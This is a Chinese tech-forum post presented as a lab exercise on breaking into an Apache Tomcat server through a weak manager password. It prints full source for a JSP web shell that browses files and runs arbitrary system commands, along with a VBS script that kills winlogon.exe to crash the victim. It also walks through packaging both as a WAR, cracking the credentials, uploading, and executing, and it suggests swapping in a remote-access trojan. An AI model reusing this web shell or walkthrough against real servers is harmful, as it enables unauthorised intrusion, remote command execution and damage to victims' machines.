电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 3188 人浏览分享

Tomcat服务器弱口令漏洞攻击实验

[复制链接]
3188 0
本帖最后由 zhaorong 于 2021-4-29 16:06 编辑

说在前面

早期Tomcat服务器上的管理员后台的密码都过于简单如 admin 123456 如此很容易被攻击
者利用 并上传木马到服务器上面 从而感染服务器主机。

实验内容

1、在XP系统上搭建Tomcat服务器平台;
2、在另一台虚拟机上利用弱口令漏洞上传木马程序 使得XP系统中木马。

实验步骤

一、搭建Tomcat服务器平台

1.安装JAVAJDK

环境变量的配置:(这里我的JAVA是按照默认安装地址安装的)
JAVA_HOME:C:\Program Files\Java\jdk1.7.0_79
Path:%JAVA_HOME%\bin
CLASSPATH:.%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tool.jar

Cmd输入命令查看

输入:java –version 检查是否安装成功。

210749hadn9yi8edyko3vb.png

输入:javac 检查环境变量配置是否成功。

99.png

2.安装Apache-Tomcat服务器

将压缩包解压,把整个文件夹拷贝至C盘。(免安装)
添加环境变量:
TOMCAT_HOME:C:\apache-tomcat-6.0.37
进入bin目录 点击startup.bat或者shutdown.bat可以启动或关闭服务器。

若测试不成功 则需添加完整的环境变量。(可选不是必选)

210831yszxrsqs2r6x8s1n.png

点击startup.exe 启动服务器 在浏览器中输入:http://127.0.0.1:8080/若显示
如下界面则服务器启动成功。

210832g62gg1zz6jgjtl2g.png

二、登录管理员后台

登录管理员后台需要用户名密码 刚开始未设置 我们要自行设置。

210833b9vsk77y35jk7ynz.png.thumb.jpg

首先查看存放用户名密码的文件:在conf文件夹下的tomcat-users.xml,用记事本打开。将管理员账号添加进去:
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<user username="admin" password="admin" roles="manager-gui,manager
-script,manager-jmx,manager-status"/>

其中各个rolename的含义:

100.jpg

点击保存后重启服务器 回到登录界面 输入用户名密码 即可进入管理员界面:

98.jpg

三、木马制作

Tomcat只支持war的后缀文件包的上传,因此,必须将jsp木马程序与其他木马一起打包成war包才能上传。
在安装有JDK的操作系统上,将所需要上传的木马放在同一个文件夹中,存放到C盘。
这里用到一个s.jsp的木马程序以及V.vbs病毒程序。

这里s.jsp的代码:
  1. <%@ page contentType="text/html;charset=gb2312"%>
  2. <%[url=home.php?mod=space&uid=157936]@Page[/url] import="java.io.*" %>
  3. <%@page import="java.util.*"%>
  4. <style>
  5. td,select,input,body
  6. {
  7. font-size:9pt;
  8. }
  9. A { TEXT-DECORATION: none }
  10. </style>
  11. <title>Jsp File Manger Version0.5 --bY 慈勤强 [email]cqq1978@Gmail.com[/email]</title>
  12. <%!
  13. String getDrivers()
  14. /**
  15. Windows系统上取得可用的所有逻辑盘
  16. **/
  17. {
  18. StringBuffer sb=new StringBuffer("驱动器 : ");
  19. File roots[]=File.listRoots();
  20. for(int i=0;i<roots.length;i++)
  21. {
  22. sb.append("<a href='?path="+roots[i]+"'>");
  23. sb.append(roots[i]+"</a>   ");
  24. }
  25. return sb.toString();
  26. }
  27. %>
  28. <%
  29. String strThisFile="folder.jsp";
  30. request.setCharacterEncoding("gb2312");
  31. String strDir = request.getParameter("path");
  32. if(strDir==null||strDir.length()<1)
  33. {
  34. strDir = "c:\";
  35. }
  36. StringBuffer sb=new StringBuffer("");
  37. StringBuffer sbFile=new StringBuffer("");
  38. try
  39. {
  40. out.println("<table border=1 width='100%' bgcolor='#F1f1f1'><tr><td width='30%'>当前目录:
  41. <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
  42. File objFile = new File(strDir);
  43. File list[] = objFile.listFiles();
  44. if(objFile.getAbsolutePath().length()>3)
  45. {
  46. sb.append("<tr><td > </td><td><a href='?path="+objFile.g
  47. etParentFile().getAbsolutePath()+"'>");
  48. sb.append("上级目录</a><br>- - - - - - - - - - - </td></tr>\r\n");
  49. }
  50. for(int i=0;i<list.length;i++)
  51. {
  52. if(list[i].isDirectory())
  53. {
  54. sb.append("<tr><td > </td><td>");
  55. sb.append("<a href='?path="+list[i].getAbsolutePath()+"'>"+list[i].getName()+"</a>");
  56. sb.append("</td></tr>");
  57. //sb.append("</td></tr></table>\r\n");
  58. }
  59. else
  60. {
  61. String strLen="";
  62. String strDT="";
  63. long lFile=0;
  64. lFile=list[i].length();

  65. if(lFile>1000000)
  66. {
  67. lFile=lFile/1000000;
  68. strLen="" + lFile + " M";
  69. }
  70. else if(lFile>1000)
  71. {
  72. lFile=lFile/1000;
  73. strLen="" + lFile + " K";
  74. }
  75. else
  76. {
  77. strLen="" + lFile + " Byte";
  78. }
  79. Date dt=new Date(list[i].lastModified());
  80. strDT=dt.toLocaleString();
  81. sbFile.append("<tr><td>");
  82. sbFile.append(""+list[i].getName());
  83. sbFile.append("</td><td>");
  84. sbFile.append(""+strLen);
  85. sbFile.append("</td><td>");
  86. sbFile.append(""+strDT);
  87. sbFile.append("</td><td>");
  88. sbFile.append("<!--修改 删除 下载 复制--> ");
  89. sbFile.append("</td></tr>\r\n");
  90. //sbFile.append("</td></tr></table>");
  91. }
  92. }
  93. //out.println(sb.toString()+sbFile.toString());
  94. }
  95. catch(Exception e)
  96. {
  97. out.println("<font color=red>操作失败: "+e.toString()+"</font>");
  98. }
  99. %>
  100. <table width="100%" border="1" cellspacing="0" cellpadding="5" border
  101. colorlight="#000000" bordercolordark="#FFFFFF">
  102. <tr>
  103. <td width="25%" align="center" valign="top">
  104. <table width="98%" border="0" cellspacing="0" cellpadding="3">
  105. <%=sb%>
  106. </tr>
  107. </table>
  108. </td>
  109. <td width="81%" align="center" valign="top">
  110. <table width="98%" border="1" cellspacing="1" cellpadding="4" bordercol
  111. orlight="#cccccc" bordercolordark="#FFFFFF">
  112. <tr bgcolor="#E7e7e6">
  113. <td width="26%">文件名称</td>
  114. <td width="19%" align="center">文件大小</td>
  115. <td width="29%" align="center">修改时间</td>
  116. <td width="26%" align="center">文件操作</td>
  117. </tr>
  118. <%=sbFile%>
  119. <!-- <tr align="center">
  120. <td colspan="4"><br>
  121. 总计文件个数:<font color="#FF0000">30</font>
  122. 大小:<font color="#FF0000">664.9</font>
  123. KB </td>
  124. </tr>
  125. -->
  126. </table>
  127. </td>
  128. </tr>
  129. </table>
  130. <%
  131. String strCmd="";
  132. String line="";
  133. StringBuffer sbCmd=new StringBuffer("");
  134. strCmd = request.getParameter("cmd");
  135. if(strCmd!=null)
  136. {
  137. try
  138. {
  139. //out.println(strCmd);
  140. Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
  141. BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
  142. while((line=br.readLine())!=null)
  143. {
  144. sbCmd.append(line+"\r\n");
  145. }
  146. }
  147. catch(Exception e)
  148. {
  149. System.out.println(e.toString());
  150. }
  151. }
  152. %>
  153. <form name="cmd" action="" method="post">
  154. <input type="text" name="cmd" value="<%=strCmd%>" size=50>
  155. <input type=submit name=submit value="执行">
  156. </form>
  157. <%
  158. if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
  159. {
  160. %>
  161. <TEXTAREA NAME="cqq" ROWS="20" COLS="100%">
  162. <%=sbCmd.toString()%></TEXTAREA>
  163. <%
  164. }
  165. %>
复制代码

这里V.vbs的代码:
  1. if MsgBox("你是在上网络信息安全的课吗?",vbYesNo,"提示")=vbyes then
  2. msgbox "你真是在上网络安全课啊,这么好丫!"
  3. else
  4. msgbox "还不承认? 作为惩罚,折腾你一下",64,"严重警告!!!!!!"
  5. Set ws = CreateObject("Wscript.Shell")
  6. wscript.sleep 1200
  7. ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
  8. end if
复制代码

运行cmd 使用cd命令将目录切换到刚刚存放的c文件夹下:

68.png

使用命令将木马程序打包:
jar cvf shell.war *
若提示jar不是内部命令 请回到JDK安装步骤查看环境变量是否配置正确。
成功时的命令提示如下:

67.jpg

四、漏洞入侵

访问目标网站

使用另一台电脑输入以下网址:
http://192.168.41.131:8080/(对应IP地址要改)
访问成功将出现以下界面:

210835af9p8z8gqr8uukoc.png.thumb.jpg

弱口令扫描

打开Apache Tomcat crack软件,界面如下:

66.jpg

设置扫描网段 点击add按钮添加;点击start按钮开始扫描。扫描成功将获得口令和密码。

63.png

上传木马

利用前面扫描到的口令密码登录管理员网页 将之前做好的war包上传至服务器:

63.jpg

查看木马

在地址栏中输入网址:
http://192.168.41.131:8080/shell/s.jsp
即可看到对方电脑中所有的文件目录:

62.jpg

运行木马

找出之前一并上传的木马文件V.vbs 利用下面的执行功能让其在被害者电脑上运行:
c:\apache-tomcat-6.0.37\webapps\shell\V.vbs -install

61.jpg

此时在被攻击者电脑上会自运行病毒程序 即中病毒了。也可将病毒用灰鸽子木马替换实现远程控制。

210838g7c1qb7xym397em7.png.thumb.jpg

60.jpg

点击“否”的话要小心哦 因为电脑会变成 蓝屏不过不用怕其实就蓝屏一会儿就帮你重启
啦~不相信可以返回去看V.vbs的代码哦~

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.